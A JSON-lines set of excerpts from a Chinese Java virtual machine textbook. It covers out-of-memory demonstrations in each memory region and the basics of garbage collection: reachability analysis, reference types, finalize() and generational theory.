    {"text": "譬如远古时代的Classic虚拟机，这款虚拟机可以支持动态扩展栈内存的容量，在Windows上的JDK 1.0.2运行代码清单2-5的话（如果这时候要调整栈容量就应该改用-oss参数了），得到的结果是： stack length:3716 java.lang.OutOfMemoryError at org.fenixsoft.oom. JavaVMStackSOF.leak(JavaVMStackSOF.java:27) at org.fenixsoft.oom. JavaVMStackSOF.leak(JavaVMStackSOF.java:28) at org.fenixsoft.oom. JavaVMStackSOF.leak(JavaVMStackSOF.java:28) ……后续异常堆栈信息省略 可见相同的代码在Classic虚拟机中成功产生了OutOfMemoryError而不是StackOver-flowError异常。"},
    {"text": "HotSpot虚拟机提供了参数可以控制Java堆和方法区这两部分的内存的最大值，那剩余的内存即为2GB（操作系统限制）减去最大堆容量，再减去最大方法区容量，由于程序计数器消耗内存很小，可以忽略掉，如果把直接内存和虚拟机进程本身耗费的内存也去掉的话，剩下的内存就由虚拟机栈和本地方法栈来分配了。"},
    {"text": "因此为每个线程分配到的栈内存越大，可以建立的线程数量自然就越少，建立线程时就越容易把剩下的内存耗尽，代码清单2-6演示了这种情况。"},
    {"text": "代码清单2-6 创建线程导致内存溢出异常 /** * VM Args：-Xss2M （这时候不妨设大些，请在32位系统下运行） * @author zzm */ public class JavaVMStackOOM { private void dontStop() { while (true) { } } public void stackLeakByThread() { while (true) { Thread thread = new Thread(new Runnable() { @Override public void run() { dontStop(); } }); thread.start(); } } public static void main(String[] args) throws Throwable { JavaVMStackOOM oom = new JavaVMStackOOM(); oom.stackLeakByThread(); } } 注意 重点提示一下，如果读者要尝试运行上面这段代码，记得要先保存当前的工作，由于在Windows平台的虚拟机中，Java的线程是映射到操作系统的内核线程上 [1] ，无限制地创建线程会对操作系统带来很大压力，上述代码执行时有很高的风险，可能会由于创建线程数量过多而导致操作系统假死。 在32位操作系统下的运行结果： Exception in thread \"main\" java.lang.OutOfMemoryError: unable to create native thread 出现StackOverflowError异常时，会有明确错误堆栈可供分析，相对而言比较容易定位到问题所在。"},
    {"text": "如果使用HotSpot虚拟机默认参数，栈深度在大多数情况下（因为每个方法压入栈的帧大小并不是一样的，所以只能说大多数情况下）到达1000~2000是完全没有问题，对于正常的方法调用（包括不能做尾递归优化的递归调用），这个深度应该完全够用了。"},
    {"text": "但是，如果是建立过多线程导致的内存溢出，在不能减少线程数量或者更换64位虚拟机的情况下，就只能通过减少最大堆和减少栈容量来换取更多的线程。 这种通过“减少内存”的手段来解决内存溢出的方式，如果没有这方面处理经验，一般比较难以想到，这一点读者需要在开发32位系统的多线程应用时注意。"},
    {"text": "也是由于这种问题较为隐蔽，从JDK 7起，以上提示信息中“unable to create native thread”后面，虚拟机会特别注明原因可能是“possibly out of memory or process/resource limits reached”。"},
    {"text": "前面曾经提到HotSpot从JDK 7开始逐步“去永久代”的计划，并在JDK 8中完全使用元空间来代替永久代的背景故事，在此我们就以测试代码来观察一下，使用“永久代”还是“元空间”来实现方法区，对程序有什么实际的影响。"},
    {"text": "String::intern()是一个本地方法，它的作用是如果字符串常量池中已经包含一个等于此String对象的字符串，则返回代表池中这个字符串的String对象的引用； 否则，会将此String对象包含的字符串添加到常量池中，并且返回此String对象的引用。"},
    {"text": "在JDK 6或更早之前的HotSpot虚拟机中，常量池都是分配在永久代中，我们可以通过-XX：PermSize和-XX：MaxPermSize限制永久代的大小，即可间接限制其中常量池的容量，具体实现如代码清单2-7所示，请读者测试时首先以JDK 6来运行代码。 代码清单2-7 运行时常量池导致的内存溢出异常 /** * VM Args：-XX:PermSize=6M -XX:MaxPermSize=6M * @author zzm */ public class RuntimeConstantPoolOOM { public static void main(String[] args) { // 使用Set保持着常量池引用，避免Full GC回收常量池行为 Set<String> set = new HashSet<String>(); // 在short范围内足以让6MB的PermSize产生OOM了 short i = 0; while (true) { set.add(String.valueOf(i++).intern()); } } } 运行结果： Exception in thread \"main\" java.lang.OutOfMemoryError: PermGen space at java.lang.String.intern(Native Method) at org.fenixsoft.oom.RuntimeConstantPoolOOM.main(RuntimeConstantPoolOOM.java: 18) 从运行结果中可以看到，运行时常量池溢出时，在OutOfMemoryError异常后面跟随的提示信息是“PermGen space”，说明运行时常量池的确是属于方法区（即JDK 6的HotSpot虚拟机中的永久代）的一部分。 而使用JDK 7或更高版本的JDK来运行这段程序并不会得到相同的结果，无论是在JDK 7中继续使用-XX：MaxPermSize参数或者在JDK 8及以上版本使用-XX：MaxMeta-spaceSize参数把方法区容量同样限制在6MB，也都不会重现JDK 6中的溢出异常，循环将一直进行下去，永不停歇 [1] 。 出现这种变化，是因为自JDK 7起，原本存放在永久代的字符串常量池被移至Java堆之中，所以在JDK 7及以上版本，限制方法区的容量对该测试用例来说是毫无意义的。 这时候使用-Xmx参数限制最大堆到6MB就能够看到以下两种运行结果之一，具体取决于哪里的对象分配时产生了溢出： // OOM异常一： Exception in thread \"main\" java.lang.OutOfMemoryError: Java heap space at java.base/java.lang.Integer.toString(Integer.java:440) at java.base/java.lang.String.valueOf(String.java:3058) at RuntimeConstantPoolOOM.main(RuntimeConstantPoolOOM.java:12) // OOM异常二： Exception in thread \"main\" java.lang.OutOfMemoryError: Java heap space at java.base/java.util.HashMap.resize(HashMap.java:699) at java.base/java.util.HashMap.putVal(HashMap.java:658) at java.base/java.util.HashMap.put(HashMap.java:607) at java.base/java.util.HashSet.add(HashSet.java:220) at RuntimeConstantPoolOOM.main(RuntimeConstantPoolOOM.java from InputFile-Object:14) 关于这个字符串常量池的实现在哪里出现问题，还可以引申出一些更有意思的影响，具体见代码清单2-8所示。 代码清单2-8 String.intern()返回引用的测试 public class RuntimeConstantPoolOOM { public static void main(String[] args) { String str1 = new StringBuilder(\"计算机\").append(\"软件\").toString(); System.out.println(str1.intern() == str1); String str2 = new StringBuilder(\"ja\").append(\"va\").toString(); System.out.println(str2.intern() == str2); } } 这段代码在JDK 6中运行，会得到两个false，而在JDK 7中运行，会得到一个true和一个false。 产生差异的原因是，在JDK 6中，intern()方法会把首次遇到的字符串实例复制到永久代的字符串常量池中存储，返回的也是永久代里面这个字符串实例的引用，而由StringBuilder创建的字符串对象实例在Java堆上，所以必然不可能是同一个引用，结果将返回false。 而JDK 7（以及部分其他虚拟机，例如JRockit）的intern()方法实现就不需要再拷贝字符串的实例到永久代了，既然字符串常量池已经移到Java堆中，那只需要在常量池里记录一下首次出现的实例引用即可，因此intern()返回的引用和由StringBuilder创建的那个字符串实例就是同一个。 而对str2比较返回false，这是因为“java” [2] 这个字符串在执行String-Builder.toString()之前就已经出现过了，字符串常量池中已经有它的引用，不符合intern()方法要求“首次遇到”的原则，“计算机软件”这个字符串则是首次出现的，因此结果返回true。"},
    {"text": "我们再来看看方法区的其他部分的内容，方法区的主要职责是用于存放类型的相关信息，如类名、访问修饰符、常量池、字段描述、方法描述等。"},
    {"text": "在代码清单2-8里笔者借助了CGLib [3] 直接操作字节码运行时生成了大量的动态类。 值得特别注意的是，我们在这个例子中模拟的场景并非纯粹是一个实验，类似这样的代码确实可能会出现在实际应用中：当前的很多主流框架，如Spring、Hibernate对类进行增强时，都会使用到CGLib这类字节码技术，当增强的类越多，就需要越大的方法区以保证动态生成的新类型可以载入内存。"},
    {"text": "另外，很多运行于Java虚拟机上的动态语言（例如Groovy等）通常都会持续创建新类型来支撑语言的动态性，随着这类动态语言的流行，与代码清单2-9相似的溢出场景也越来越容易遇到。"},
    {"text": "代码清单2-9 借助CGLib使得方法区出现内存溢出异常 /** * VM Args：-XX:PermSize=10M -XX:MaxPermSize=10M * @author zzm */ public class JavaMethodAreaOOM { public static void main(String[] args) { while (true) { Enhancer enhancer = new Enhancer(); enhancer.setSuperclass(OOMObject.class); enhancer.setUseCache(false); enhancer.setCallback(new MethodInterceptor() { public Object intercept(Object obj, Method method, Object[] args, MethodProxy proxy) throws Throwable { return proxy.invokeSuper(obj, args); } }); enhancer.create(); } } static class OOMObject { } } 在JDK 7中的运行结果： Caused by: java.lang.OutOfMemoryError: PermGen space at java.lang.ClassLoader.defineClass1(Native Method) at java.lang.ClassLoader.defineClassCond(ClassLoader.java:632) at java.lang.ClassLoader.defineClass(ClassLoader.java:616) ... 8 more 方法区溢出也是一种常见的内存溢出异常，一个类如果要被垃圾收集器回收，要达成的条件是比较苛刻的。"},
    {"text": "这类场景除了之前提到的程序使用了CGLib字节码增强和动态语言外，常见的还有：大量JSP或动态产生JSP文件的应用（JSP第一次运行时需要编译为Java类）、基于OSGi的应用（即使是同一个类文件，被不同的加载器加载也会视为不同的类）等。"},
    {"text": "不过为了让使用者有预防实际应用里出现类似于代码清单2-9那样的破坏性的操作，HotSpot还是提供了一些参数作为元空间的防御措施，主要包括： ·-XX：MaxMetaspaceSize：设置元空间最大值，默认是-1，即不限制，或者说只受限于本地内存大小。"},
    {"text": "·-XX：MetaspaceSize：指定元空间的初始空间大小，以字节为单位，达到该值就会触发垃圾收集进行类型卸载，同时收集器会对该值进行调整：如果释放了大量的空间，就适当降低该值；"},
    {"text": "2.4.4 本机直接内存溢出 直接内存（Direct Memory）的容量大小可通过-XX：MaxDirectMemorySize参数来指定，如果不去指定，则默认与Java堆最大值（由-Xmx指定）一致，代码清单2-10越过了DirectByteBuffer类直接通过反射获取Unsafe实例进行内存分配（Unsafe类的getUnsafe()方法指定只有引导类加载器才会返回实例，体现了设计者希望只有虚拟机标准类库里面的类才能使用Unsafe的功能，在JDK 10时才将Unsafe的部分功能通过VarHandle开放给外部使用），因为虽然使用DirectByteBuffer分配内存也会抛出内存溢出异常，但它抛出异常时并没有真正向操作系统申请分配内存，而是通过计算得知内存无法分配就会在代码里手动抛出溢出异常，真正申请分配内存的方法是Unsafe::allocateMemory()。 代码清单2-10 使用unsafe分配本机内存 /** * VM Args：-Xmx20M -XX:MaxDirectMemorySize=10M * @author zzm */ public class DirectMemoryOOM { private static final int _1MB = 1024 * 1024; public static void main(String[] args) throws Exception { Field unsafeField = Unsafe.class.getDeclaredFields()[0]; unsafeField.setAccessible(true); Unsafe unsafe = (Unsafe) unsafeField.get(null); while (true) { unsafe.allocateMemory(_1MB); } } } 运行结果： Exception in thread \"main\" java.lang.OutOfMemoryError at sun.misc.Unsafe.allocateMemory(Native Method) at org.fenixsoft.oom.DMOOM.main(DMOOM.java:20) 由直接内存导致的内存溢出，一个明显的特征是在Heap Dump文件中不会看见有什么明显的异常情况，如果读者发现内存溢出之后产生的Dump文件很小，而程序中又直接或间接使用了DirectMemory（典型的间接使用就是NIO），那就可以考虑重点检查一下直接内存方面的原因了。 2.5 本章小结 到此为止，我们明白了虚拟机里面的内存是如何划分的，哪部分区域、什么样的代码和操作可能导致内存溢出异常。虽然Java有垃圾收集机制，但内存溢出异常离我们并不遥远，本章只是讲解了各个区域出现内存溢出异常的原因，下一章将详细讲解Java垃圾收集机制为了避免出现内存溢出异常都做了哪些努力。 第3章 垃圾收集器与内存分配策略 Java与C++之间有一堵由内存动态分配和垃圾收集技术所围成的高墙，墙外面的人想进去，墙里面的人却想出来。 3.1 概述 说起垃圾收集（Garbage Collection，下文简称GC），有不少人把这项技术当作Java语言的伴生产物。事实上，垃圾收集的历史远远比Java久远，在1960年诞生于麻省理工学院的Lisp是第一门开始使用内存动态分配和垃圾收集技术的语言。当Lisp还在胚胎时期时，其作者John McCarthy就思考过垃圾收集需要完成的三件事情： ·哪些内存需要回收？ ·什么时候回收？ ·如何回收？ 经过半个世纪的发展，今天的内存动态分配与内存回收技术已经相当成熟，一切看起来都进入了“自动化”时代，那为什么我们还要去了解垃圾收集和内存分配？答案很简单：当需要排查各种内存溢出、内存泄漏问题时，当垃圾收集成为系统达到更高并发量的瓶颈时，我们就必须对这些“自动化”的技术实施必要的监控和调节。 把时间从大半个世纪以前拨回到现在，舞台也回到我们熟悉的Java语言。第2章介绍了Java内存运行时区域的各个部分，其中程序计数器、虚拟机栈、本地方法栈3个区域随线程而生，随线程而灭，栈中的栈帧随着方法的进入和退出而有条不紊地执行着出栈和入栈操作。每一个栈帧中分配多少内存基本上是在类结构确定下来时就已知的（尽管在运行期会由即时编译器进行一些优化，但在基于概念模型的讨论里，大体上可以认为是编译期可知的），因此这几个区域的内存分配和回收都具备确定性，在这几个区域内就不需要过多考虑如何回收的问题，当方法结束或者线程结束时，内存自然就跟随着回收了。 而Java堆和方法区这两个区域则有着很显著的不确定性：一个接口的多个实现类需要的内存可能会不一样，一个方法所执行的不同条件分支所需要的内存也可能不一样，只有处于运行期间，我们才能知道程序究竟会创建哪些对象，创建多少个对象，这部分内存的分配和回收是动态的。垃圾收集器所关注的正是这部分内存该如何管理，本文后续讨论中的“内存”分配与回收也仅仅特指这一部分内存。 3.2 对象已死？ 在堆里面存放着Java世界中几乎所有的对象实例，垃圾收集器在对堆进行回收前，第一件事情就是要确定这些对象之中哪些还“存活”着，哪些已经“死去”（“死去”即不可能再被任何途径使用的对象）了。"},
    {"text": "3.2.1 引用计数算法 很多教科书判断对象是否存活的算法是这样的：在对象中添加一个引用计数器，每当有一个地方引用它时，计数器值就加一；当引用失效时，计数器值就减一；任何时刻计数器为零的对象就是不可能再被使用的。笔者面试过很多应届生和一些有多年工作经验的开发人员，他们对于这个问题给予的都是这个答案。 客观地说，引用计数算法（Reference Counting）虽然占用了一些额外的内存空间来进行计数，但它的原理简单，判定效率也很高，在大多数情况下它都是一个不错的算法。也有一些比较著名的应用案例，例如微软COM（Component Object Model）技术、使用ActionScript 3的FlashPlayer、Python语言以及在游戏脚本领域得到许多应用的Squirrel中都使用了引用计数算法进行内存管理。但是，在Java领域，至少主流的Java虚拟机里面都没有选用引用计数算法来管理内存，主要原因是，这个看似简单的算法有很多例外情况要考虑，必须要配合大量额外处理才能保证正确地工作，譬如单纯的引用计数就很难解决对象之间相互循环引用的问题。 举个简单的例子，请看代码清单3-1中的testGC()方法：对象objA和objB都有字段instance，赋值令objA.instance=objB及objB.instance=objA，除此之外，这两个对象再无任何引用，实际上这两个对象已经不可能再被访问，但是它们因为互相引用着对方，导致它们的引用计数都不为零，引用计数算法也就无法回收它们。 代码清单3-1 引用计数算法的缺陷 /** * testGC()方法执行后，objA和objB会不会被GC呢？ * @author zzm */ public class ReferenceCountingGC { public Object instance = null; private static final int _1MB = 1024 * 1024; /** * 这个成员属性的唯一意义就是占点内存，以便能在GC日志中看清楚是否有回收过 */ private byte[] bigSize = new byte[2 * _1MB]; public static void testGC() { ReferenceCountingGC objA = new ReferenceCountingGC(); ReferenceCountingGC objB = new ReferenceCountingGC(); objA.instance = objB; objB.instance = objA; objA = null; objB = null; // 假设在这行发生GC，objA和objB是否能被回收？ System.gc(); } } 运行结果： [Full GC (System) [Tenured: 0K->210K(10240K), 0.0149142 secs] 4603K->210K(19456K), [Perm : 2999K->2999K(21248K)], 0.0150007 secs] [Times: user=0.01 sys=0.00, real=0.02 secs] Heap def new generation total 9216K, used 82K [0x00000000055e0000, 0x0000000005fe0000, 0x0000000005fe0000) Eden space 8192K, 1% used [0x00000000055e0000, 0x00000000055f4850, 0x0000000005de0000) from space 1024K, 0% used [0x0000000005de0000, 0x0000000005de0000, 0x0000000005ee0000) to space 1024K, 0% used [0x0000000005ee0000, 0x0000000005ee0000, 0x0000000005fe0000) tenured generation total 10240K, used 210K [0x0000000005fe0000, 0x00000000069e0000, 0x00000000069e0000) the space 10240K, 2% used [0x0000000005fe0000, 0x0000000006014a18, 0x0000000006014c00, 0x00000000069e0000) compacting perm gen total 21248K, used 3016K [0x00000000069e0000, 0x0000000007ea0000, 0x000000000bde0000) the space 21248K, 14% used [0x00000000069e0000, 0x0000000006cd2398, 0x0000000006cd2400, 0x0000000007ea0000) No shared spaces configured. 从运行结果中可以清楚看到内存回收日志中包含“4603K->210K”，意味着虚拟机并没有因为这两个对象互相引用就放弃回收它们，这也从侧面说明了Java虚拟机并不是通过引用计数算法来判断对象是否存活的。"},
    {"text": "3.2.2 可达性分析算法 当前主流的商用程序语言（Java、C#，上溯至前面提到的古老的Lisp）的内存管理子系统，都是通过可达性分析（Reachability Analysis）算法来判定对象是否存活的。这个算法的基本思路就是通过一系列称为“GC Roots”的根对象作为起始节点集，从这些节点开始，根据引用关系向下搜索，搜索过程所走过的路径称为“引用链”（Reference Chain），如果某个对象到GC Roots间没有任何引用链相连，或者用图论的话来说就是从GC Roots到这个对象不可达时，则证明此对象是不可能再被使用的。 如图3-1所示，对象object 5、object 6、object 7虽然互有关联，但是它们到GC Roots是不可达的，因此它们将会被判定为可回收的对象。 图3-1 利用可达性分析算法判定对象是否可回收 在Java技术体系里面，固定可作为GC Roots的对象包括以下几种： ·在虚拟机栈（栈帧中的本地变量表）中引用的对象，譬如各个线程被调用的方法堆栈中使用到的参数、局部变量、临时变量等。 ·在方法区中类静态属性引用的对象，譬如Java类的引用类型静态变量。 ·在方法区中常量引用的对象，譬如字符串常量池（String Table）里的引用。 ·在本地方法栈中JNI（即通常所说的Native方法）引用的对象。 ·Java虚拟机内部的引用，如基本数据类型对应的Class对象，一些常驻的异常对象（比如NullPointExcepiton、OutOfMemoryError）等，还有系统类加载器。 ·所有被同步锁（synchronized关键字）持有的对象。 ·反映Java虚拟机内部情况的JMXBean、JVMTI中注册的回调、本地代码缓存等。 除了这些固定的GC Roots集合以外，根据用户所选用的垃圾收集器以及当前回收的内存区域不同，还可以有其他对象“临时性”地加入，共同构成完整GC Roots集合。譬如后文将会提到的分代收集和局部回收（Partial GC），如果只针对Java堆中某一块区域发起垃圾收集时（如最典型的只针对新生代的垃圾收集），必须考虑到内存区域是虚拟机自己的实现细节（在用户视角里任何内存区域都是不可见的），更不是孤立封闭的，所以某个区域里的对象完全有可能被位于堆中其他区域的对象所引用，这时候就需要将这些关联区域的对象也一并加入GC Roots集合中去，才能保证可达性分析的正确性。 目前最新的几款垃圾收集器 [1] 无一例外都具备了局部回收的特征，为了避免GC Roots包含过多对象而过度膨胀，它们在实现上也做出了各种优化处理。关于这些概念、优化技巧以及各种不同收集器实现等内容，都将在本章后续内容中一一介绍。 [1] 如OpenJDK中的G1、Shenandoah、ZGC以及Azul的PGC、C4这些收集器。 3.2.3 再谈引用 无论是通过引用计数算法判断对象的引用数量，还是通过可达性分析算法判断对象是否引用链可达，判定对象是否存活都和“引用”离不开关系。在JDK 1.2版之前，Java里面的引用是很传统的定义：如果reference类型的数据中存储的数值代表的是另外一块内存的起始地址，就称该reference数据是代表某块内存、某个对象的引用。这种定义并没有什么不对，只是现在看来有些过于狭隘了，一个对象在这种定义下只有“被引用”或者“未被引用”两种状态，对于描述一些“食之无味，弃之可惜”的对象就显得无能为力。譬如我们希望能描述一类对象：当内存空间还足够时，能保留在内存之中，如果内存空间在进行垃圾收集后仍然非常紧张，那就可以抛弃这些对象——很多系统的缓存功能都符合这样的应用场景。 在JDK 1.2版之后，Java对引用的概念进行了扩充，将引用分为强引用（Strongly Re-ference）、软引用（Soft Reference）、弱引用（Weak Reference）和虚引用（Phantom Reference）4种，这4种引用强度依次逐渐减弱。 ·强引用是最传统的“引用”的定义，是指在程序代码之中普遍存在的引用赋值，即类似“Object obj=new Object()”这种引用关系。无论任何情况下，只要强引用关系还存在，垃圾收集器就永远不会回收掉被引用的对象。 ·软引用是用来描述一些还有用，但非必须的对象。只被软引用关联着的对象，在系统将要发生内存溢出异常前，会把这些对象列进回收范围之中进行第二次回收，如果这次回收还没有足够的内存，才会抛出内存溢出异常。在JDK 1.2版之后提供了SoftReference类来实现软引用。 ·弱引用也是用来描述那些非必须对象，但是它的强度比软引用更弱一些，被弱引用关联的对象只能生存到下一次垃圾收集发生为止。当垃圾收集器开始工作，无论当前内存是否足够，都会回收掉只被弱引用关联的对象。在JDK 1.2版之后提供了WeakReference类来实现弱引用。 ·虚引用也称为“幽灵引用”或者“幻影引用”，它是最弱的一种引用关系。一个对象是否有虚引用的存在，完全不会对其生存时间构成影响，也无法通过虚引用来取得一个对象实例。为一个对象设置虚引用关联的唯一目的只是为了能在这个对象被收集器回收时收到一个系统通知。在JDK 1.2版之后提供了PhantomReference类来实现虚引用。"},
    {"text": "3.2.4 生存还是死亡？ 即使在可达性分析算法中判定为不可达的对象，也不是“非死不可”的，这时候它们暂时还处于“缓刑”阶段，要真正宣告一个对象死亡，至少要经历两次标记过程：如果对象在进行可达性分析后发现没有与GC Roots相连接的引用链，那它将会被第一次标记，随后进行一次筛选，筛选的条件是此对象是否有必要执行finalize()方法。假如对象没有覆盖finalize()方法，或者finalize()方法已经被虚拟机调用过，那么虚拟机将这两种情况都视为“没有必要执行”。 如果这个对象被判定为确有必要执行finalize()方法，那么该对象将会被放置在一个名为F-Queue的队列之中，并在稍后由一条由虚拟机自动建立的、低调度优先级的Finalizer线程去执行它们的finalize()方法。这里所说的“执行”是指虚拟机会触发这个方法开始运行，但并不承诺一定会等待它运行结束。这样做的原因是，如果某个对象的finalize()方法执行缓慢，或者更极端地发生了死循环，将很可能导致F-Queue队列中的其他对象永久处于等待，甚至导致整个内存回收子系统的崩溃。finalize()方法是对象逃脱死亡命运的最后一次机会，稍后收集器将对F-Queue中的对象进行第二次小规模的标记，如果对象要在finalize()中成功拯救自己——只要重新与引用链上的任何一个对象建立关联即可，譬如把自己（this关键字）赋值给某个类变量或者对象的成员变量，那在第二次标记时它将被移出“即将回收”的集合；如果对象这时候还没有逃脱，那基本上它就真的要被回收了。从代码清单3-2中我们可以看到一个对象的finalize()被执行，但是它仍然可以存活。 代码清单3-2 一次对象自我拯救的演示 /** * 此代码演示了两点： * 1.对象可以在被GC时自我拯救。 * 2.这种自救的机会只有一次，因为一个对象的finalize()方法最多只会被系统自动调用一次 * @author zzm */ public class FinalizeEscapeGC { public static FinalizeEscapeGC SAVE_HOOK = null; public void isAlive() { System.out.println(\"yes, i am still alive :)\"); } @Override protected void finalize() throws Throwable { super.finalize(); System.out.println(\"finalize method executed!\"); FinalizeEscapeGC.SAVE_HOOK = this; } public static void main(String[] args) throws Throwable { SAVE_HOOK = new FinalizeEscapeGC(); //对象第一次成功拯救自己 SAVE_HOOK = null; System.gc(); // 因为Finalizer方法优先级很低，暂停0.5秒，以等待它 Thread.sleep(500); if (SAVE_HOOK != null) { SAVE_HOOK.isAlive(); } else { System.out.println(\"no, i am dead :(\"); } // 下面这段代码与上面的完全相同，但是这次自救却失败了 SAVE_HOOK = null; System.gc(); // 因为Finalizer方法优先级很低，暂停0.5秒，以等待它 Thread.sleep(500); if (SAVE_HOOK != null) { SAVE_HOOK.isAlive(); } else { System.out.println(\"no, i am dead :(\"); } } } 运行结果： finalize method executed! yes, i am still alive :) no, i am dead :( 从代码清单3-2的运行结果可以看到，SAVE_HOOK对象的finalize()方法确实被垃圾收集器触发过，并且在被收集前成功逃脱了。 另外一个值得注意的地方就是，代码中有两段完全一样的代码片段，执行结果却是一次逃脱成功，一次失败了。这是因为任何一个对象的finalize()方法都只会被系统自动调用一次，如果对象面临下一次回收，它的finalize()方法不会被再次执行，因此第二段代码的自救行动失败了。 还有一点需要特别说明，上面关于对象死亡时finalize()方法的描述可能带点悲情的艺术加工，笔者并不鼓励大家使用这个方法来拯救对象。相反，笔者建议大家尽量避免使用它，因为它并不能等同于C和C++语言中的析构函数，而是Java刚诞生时为了使传统C、C++程序员更容易接受Java所做出的一项妥协。它的运行代价高昂，不确定性大，无法保证各个对象的调用顺序，如今已被官方明确声明为不推荐使用的语法。有些教材中描述它适合做“关闭外部资源”之类的清理性工作，这完全是对finalize()方法用途的一种自我安慰。finalize()能做的所有工作，使用try-finally或者其他方式都可以做得更好、更及时，所以笔者建议大家完全可以忘掉Java语言里面的这个方法。"},
    {"text": "3.2.5 回收方法区 有些人认为方法区（如HotSpot虚拟机中的元空间或者永久代）是没有垃圾收集行为的，《Java虚拟机规范》中提到过可以不要求虚拟机在方法区中实现垃圾收集，事实上也确实有未实现或未能完整实现方法区类型卸载的收集器存在（如JDK 11时期的ZGC收集器就不支持类卸载），方法区垃圾收集的“性价比”通常也是比较低的：在Java堆中，尤其是在新生代中，对常规应用进行一次垃圾收集通常可以回收70%至99%的内存空间，相比之下，方法区回收囿于苛刻的判定条件，其区域垃圾收集的回收成果往往远低于此。 方法区的垃圾收集主要回收两部分内容：废弃的常量和不再使用的类型。回收废弃常量与回收Java堆中的对象非常类似。举个常量池中字面量回收的例子，假如一个字符串“java”曾经进入常量池中，但是当前系统又没有任何一个字符串对象的值是“java”，换句话说，已经没有任何字符串对象引用常量池中的“java”常量，且虚拟机中也没有其他地方引用这个字面量。如果在这时发生内存回收，而且垃圾收集器判断确有必要的话，这个“java”常量就将会被系统清理出常量池。常量池中其他类（接口）、方法、字段的符号引用也与此类似。 判定一个常量是否“废弃”还是相对简单，而要判定一个类型是否属于“不再被使用的类”的条件就比较苛刻了。需要同时满足下面三个条件： ·该类所有的实例都已经被回收，也就是Java堆中不存在该类及其任何派生子类的实例。 ·加载该类的类加载器已经被回收，这个条件除非是经过精心设计的可替换类加载器的场景，如OSGi、JSP的重加载等，否则通常是很难达成的。 ·该类对应的java.lang.Class对象没有在任何地方被引用，无法在任何地方通过反射访问该类的方法。 Java虚拟机被允许对满足上述三个条件的无用类进行回收，这里说的仅仅是“被允许”，而并不是和对象一样，没有引用了就必然会回收。关于是否要对类型进行回收，HotSpot虚拟机提供了-Xnoclassgc参数进行控制，还可以使用-verbose：class以及-XX：+TraceClass-Loading、-XX：+TraceClassUnLoading查看类加载和卸载信息，其中-verbose：class和-XX：+TraceClassLoading可以在Product版的虚拟机中使用，-XX：+TraceClassUnLoading参数需要FastDebug版 [1] 的虚拟机支持。 在大量使用反射、动态代理、CGLib等字节码框架，动态生成JSP以及OSGi这类频繁自定义类加载器的场景中，通常都需要Java虚拟机具备类型卸载的能力，以保证不会对方法区造成过大的内存压力。 [1] Product版、FastDebug版HotSpot虚拟机的差别可参见前文1.6节。 3.3 垃圾收集算法 垃圾收集算法的实现涉及大量的程序细节，且各个平台的虚拟机操作内存的方法都有差异，在本节中我们暂不过多讨论算法实现，只重点介绍分代收集理论和几种算法思想及其发展过程。如果读者对其中的理论细节感兴趣，推荐阅读Richard Jones撰写的《垃圾回收算法手册》 [1] 的第2～4章的相关内容。 从如何判定对象消亡的角度出发，垃圾收集算法可以划分为“引用计数式垃圾收集”（Reference Counting GC）和“追踪式垃圾收集”（Tracing GC）两大类，这两类也常被称作“直接垃圾收集”和“间接垃圾收集”。由于引用计数式垃圾收集算法在本书讨论到的主流Java虚拟机中均未涉及，所以我们暂不把它作为正文主要内容来讲解，本节介绍的所有算法均属于追踪式垃圾收集的范畴。 [1] 原著名为《The Garbage Collection Handbook》，2011年出版，中文版在2016年由机械工业出版社翻译引进国内。"},
    {"text": "3.3.1 分代收集理论 当前商业虚拟机的垃圾收集器，大多数都遵循了“分代收集”（Generational Collection） [1] 的理论进行设计，分代收集名为理论，实质是一套符合大多数程序运行实际情况的经验法则，它建立在两个分代假说之上： 1）弱分代假说（Weak Generational Hypothesis）：绝大多数对象都是朝生夕灭的。"},
    {"text": "这两个分代假说共同奠定了多款常用的垃圾收集器的一致的设计原则：收集器应该将Java堆划分出不同的区域，然后将回收对象依据其年龄（年龄即对象熬过垃圾收集过程的次数）分配到不同的区域之中存储。"},
    {"text": "显而易见，如果一个区域中大多数对象都是朝生夕灭，难以熬过垃圾收集过程的话，那么把它们集中放在一起，每次回收时只关注如何保留少量存活而不是去标记那些大量将要被回收的对象，就能以较低代价回收到大量的空间； 如果剩下的都是难以消亡的对象，那把它们集中放在一块，虚拟机便可以使用较低的频率来回收这个区域，这就同时兼顾了垃圾收集的时间开销和内存的空间有效利用。"},
    {"text": "在Java堆划分出不同的区域之后，垃圾收集器才可以每次只回收其中某一个或者某些部分的区域——因而才有了“Minor GC”“Major GC”“Full GC”这样的回收类型的划分；"},
    {"text": "也才能够针对不同的区域安排与里面存储对象存亡特征相匹配的垃圾收集算法——因而发展出了“标记-复制算法”“标记-清除算法”“标记-整理算法”等针对性的垃圾收集算法。"},
    {"text": "如果读者有兴趣阅读HotSpot虚拟机源码的话，会发现里面存在着一些名为“*Generation”的实现，如“DefNewGeneration”和“ParNewGeneration”等，这些就是HotSpot的“分代式垃圾收集器框架”。 原本HotSpot鼓励开发者尽量在这个框架内开发新的垃圾收集器，但除了最早期的两组四款收集器之外，后来的开发者并没有继续遵循。"},
    {"text": "导致此事的原因有很多，最根本的是分代收集理论仍在不断发展之中，如何实现也有许多细节可以改进，被既定的代码框架约束反而不便。 其实我们只要仔细思考一下，也很容易发现分代收集并非只是简单划分一下内存区域那么容易，它至少存在一个明显的困难：对象不是孤立的，对象之间会存在跨代引用。"},
    {"text": "假如要现在进行一次只局限于新生代区域内的收集（Minor GC），但新生代中的对象是完全有可能被老年代所引用的，为了找出该区域中的存活对象，不得不在固定的GC Roots之外，再额外遍历整个老年代中所有对象来确保可达性分析结果的正确性，反过来也是一样 [3] 。"},
    {"text": "为了解决这个问题，就需要对分代收集理论添加第三条经验法则： 3）跨代引用假说（Intergenerational Reference Hypothesis）：跨代引用相对于同代引用来说仅占极少数。"},
    {"text": "举个例子，如果某个新生代对象存在跨代引用，由于老年代对象难以消亡，该引用会使得新生代对象在收集时同样得以存活，进而在年龄增长之后晋升到老年代中，这时跨代引用也随即被消除了。 依据这条假说，我们就不应再为了少量的跨代引用去扫描整个老年代，也不必浪费空间专门记录每一个对象是否存在及存在哪些跨代引用，只需在新生代上建立一个全局的数据结构（该结构被称为“记忆集”，Remembered Set），这个结构把老年代划分成若干小块，标识出老年代的哪一块内存会存在跨代引用。"},
    {"text": "虽然这种方法需要在对象改变引用关系（如将自己或者某个属性赋值）时维护记录数据的正确性，会增加一些运行时的开销，但比起收集时扫描整个老年代来说仍然是划算的。"},
